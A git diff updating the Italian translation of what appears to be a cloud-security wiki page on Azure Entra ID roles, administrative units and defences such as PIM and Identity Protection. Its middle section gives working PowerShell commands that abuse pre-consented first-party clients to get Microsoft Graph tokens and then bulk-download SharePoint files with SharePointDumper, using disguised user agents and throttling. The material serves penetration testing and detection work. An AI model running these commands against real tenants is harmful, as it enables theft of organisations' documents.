check: {{#ref}} ../az-basic-information/ @@ -937,7 +1012,7 @@ Headers = @{ {{#endtab }} {{#endtabs }} -### Entra ID Roles +### Ruoli di Entra ID Per maggiori informazioni sui ruoli di Azure consulta: @@ -1060,8 +1135,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> Se un dispositivo (VM) è **AzureAD joined**, gli utenti da AzureAD potranno **accedere**.\ -> Inoltre, se l'utente loggato è **Owner** del dispositivo, sarà **local admin**. +> Se un dispositivo (VM) è **AzureAD joined**, gli utenti di AzureAD potranno **effettuare il login**.\ +> Inoltre, se l'utente connesso è **Owner** del dispositivo, sarà **amministratore locale**. ### Unità amministrative @@ -1100,14 +1175,14 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members {{#endtab }} {{#endtabs }} -## Esfiltrazione di dati SharePoint delegata via Microsoft Graph (SharePointDumper) +## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper) -Attaccanti in possesso di un **delegated Microsoft Graph token** che include **`Sites.Read.All`** o **`Sites.ReadWrite.All`** possono enumerare **sites/drives/items** tramite Graph e poi **pull file contents** via **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). Lo script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizza l'intero flusso (enumeration → pre-auth downloads) e produce telemetria per richiesta utile al testing delle rilevazioni. +Gli attaccanti in possesso di un **delegated Microsoft Graph token** che include **`Sites.Read.All`** o **`Sites.ReadWrite.All`** possono enumerare **sites/drives/items** tramite Graph e poi **estrarre i contenuti dei file** tramite **SharePoint pre-authentication download URLs** (URL a tempo che incorporano un access token). Lo script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizza l'intero flusso (enumeration → pre-auth downloads) e fornisce telemetria per richiesta per i test di rilevamento. -### Ottenere token delegati utilizzabili +### Obtaining usable delegated tokens -- SharePointDumper stesso **does not authenticate**; fornire un access token (opzionalmente un refresh token). -- Client **first-party** pre-consentiti possono essere abusati per ottenere un Graph token senza registrare un'app. Esempi di invocazioni `Invoke-Auth` (da [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)): +- SharePointDumper di per sé **non esegue l'autenticazione**; fornisci un access token (opzionalmente refresh token). +- Client **first-party** pre-consentiti possono essere abusati per ottenere un Graph token senza registrare un'app. Esempio di invocazioni `Invoke-Auth` (da [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)): ```powershell # CAE requested by default; yields long-lived (~24h) access token Import-Module ./EntraTokenAid/EntraTokenAid.psm1 @@ -1122,9 +1197,9 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https > [!NOTE] > I client FOCI TRUE supportano il refresh tra dispositivi; i client FOCI FALSE spesso richiedono `-Origin` per soddisfare la validazione dell'origine della reply URL. -### Esecuzione di SharePointDumper per enumeration + exfiltration +### Eseguire SharePointDumper per enumeration + exfiltration -- Basic dump con UA / proxy / throttling personalizzati: +- Dump di base con custom UA / proxy / throttling: ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' ``` @@ -1132,20 +1207,20 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 ``` -- **Riprendi** le esecuzioni interrotte (esegue nuovamente l'enumerazione ma salta gli elementi già scaricati): +- **Riprendi** esecuzioni interrotte (rienumera ma salta gli elementi già scaricati): ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant ``` -- **Aggiornamento automatico del token su HTTP 401** (richiede EntraTokenAid caricato): +- **Aggiornamento automatico del token su HTTP 401** (richiede che EntraTokenAid sia caricato): ```powershell Import-Module ./EntraTokenAid/EntraTokenAid.psm1 .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' ``` -Operational notes: +Note operative: -- Preferisce **token abilitati CAE** per evitare scadenze a metà esecuzione; i tentativi di refresh **non** vengono registrati nel log API dello strumento. -- Genera **log di richieste CSV/JSON** per **Graph + SharePoint** e oscura i token di download di SharePoint incorporati per impostazione predefinita (attivabile/disattivabile). -- Supporta **User-Agent** personalizzato, **HTTP proxy**, **delay + jitter per richiesta**, e spegnimento sicuro con **Ctrl+C** per il traffic shaping durante test di detection/IR. +- Preferisce token **CAE-enabled** per evitare scadenze a metà esecuzione; i tentativi di refresh **non** vengono registrati nel log API dello strumento. +- Genera log di richieste **CSV/JSON** per **Graph + SharePoint** e oscura per default i token di download embedded di SharePoint (configurabile). +- Supporta **User-Agent** personalizzato, **HTTP proxy**, **per-request delay + jitter**, e spegnimento sicuro con **Ctrl+C** per shaping del traffico durante test di detection/IR. ## Entra ID Privilege Escalation @@ -1159,16 +1234,16 @@ Operational notes: ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} -## Meccanismi difensivi +## Meccanismi di difesa ### Privileged Identity Management (PIM) -Privileged Identity Management (PIM) in Azure aiuta a **prevenire l'assegnazione eccessiva di privilegi** agli utenti quando non necessario. +Privileged Identity Management (PIM) in Azure aiuta a **impedire che vengano assegnati privilegi eccessivi** agli utenti inutilmente. -Una delle funzionalità principali di PIM è che permette di non assegnare ruoli a principal che sono costantemente attivi, ma di renderli **eleggibili per un periodo di tempo (es. 6 mesi)**. Quando l'utente vuole attivare quel ruolo, deve richiederlo indicando il tempo in cui necessita del privilegio (es. 3 ore). Quindi un **admin deve approvare** la richiesta.\ -Nota che l'utente può anche richiedere di **estendere** il tempo. +Una delle funzionalità principali offerte da PIM è che permette di non assegnare ruoli a principal che rimangono costantemente attivi, ma di renderli **eleggibili per un periodo di tempo (es. 6 mesi)**. Quando l'utente vuole attivare quel ruolo, deve richiederlo indicando il tempo per cui necessita del privilegio (es. 3 ore). Poi un **admin deve approvare** la richiesta. +Nota che l'utente potrà anche chiedere di **estendere** la durata. -Inoltre, **PIM invia email** ogni volta che un ruolo privilegiato viene assegnato a qualcuno. +Inoltre, **PIM invia email** ogni volta che viene assegnato un ruolo privilegiato a qualcuno.
@@ -1176,16 +1251,16 @@ Quando PIM è abilitato è possibile configurare ogni ruolo con requisiti come: - Durata massima (ore) dell'attivazione - Richiedere MFA all'attivazione -- Richiedere Conditional Access authentication context +- Richiedere il contesto di autenticazione di Conditional Access - Richiedere una giustificazione all'attivazione - Richiedere informazioni sul ticket all'attivazione -- Richiedere approvazione per l'attivazione -- Tempo massimo per la scadenza delle assegnazioni elegibili -- Molte altre configurazioni su quando e a chi inviare notifiche quando si verificano determinate azioni relative a quel ruolo +- Richiedere approvazione per attivare +- Tempo massimo per la scadenza delle assegnazioni eleggibili +- Molte altre configurazioni su quando e a chi inviare notifiche quando certe azioni avvengono su quel ruolo ### Conditional Access Policies -Vedi: +Check: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1193,19 +1268,19 @@ Vedi: ### Entra Identity Protection -Entra Identity Protection è un servizio di sicurezza che permette di **rilevare quando un utente o un tentativo di accesso è troppo rischioso** per essere accettato, consentendo di **bloccare** l'utente o il tentativo di accesso. +Entra Identity Protection è un servizio di sicurezza che permette di **rilevare quando un utente o un sign-in sono troppo rischiosi** per essere accettati, consentendo di **bloccare** l'utente o il tentativo di accesso. -Consente all'admin di configurarlo per **bloccare** i tentativi quando il rischio è "Low and above", "Medium and above" o "High". Tuttavia, di default è completamente **disabilitato**: +Permette all'admin di configurarlo per **bloccare** i tentativi quando il rischio è "Low and above", "Medium and above" o "High". Tuttavia, di default è completamente **disabilitato**:
> [!TIP] -> Oggi si raccomanda di aggiungere queste restrizioni tramite Conditional Access policies dove è possibile configurare le stesse opzioni. +> Oggi è consigliato aggiungere queste restrizioni tramite le Conditional Access policies dove è possibile configurare le stesse opzioni. ### Entra Password Protection -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.\ -Consente inoltre di **bloccare una lista personalizzata di password** che è necessario fornire. +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**. +Permette inoltre di **bandire una lista personalizzata di password** che devi fornire. Può essere **applicato sia** a livello cloud che su Active Directory on-premises.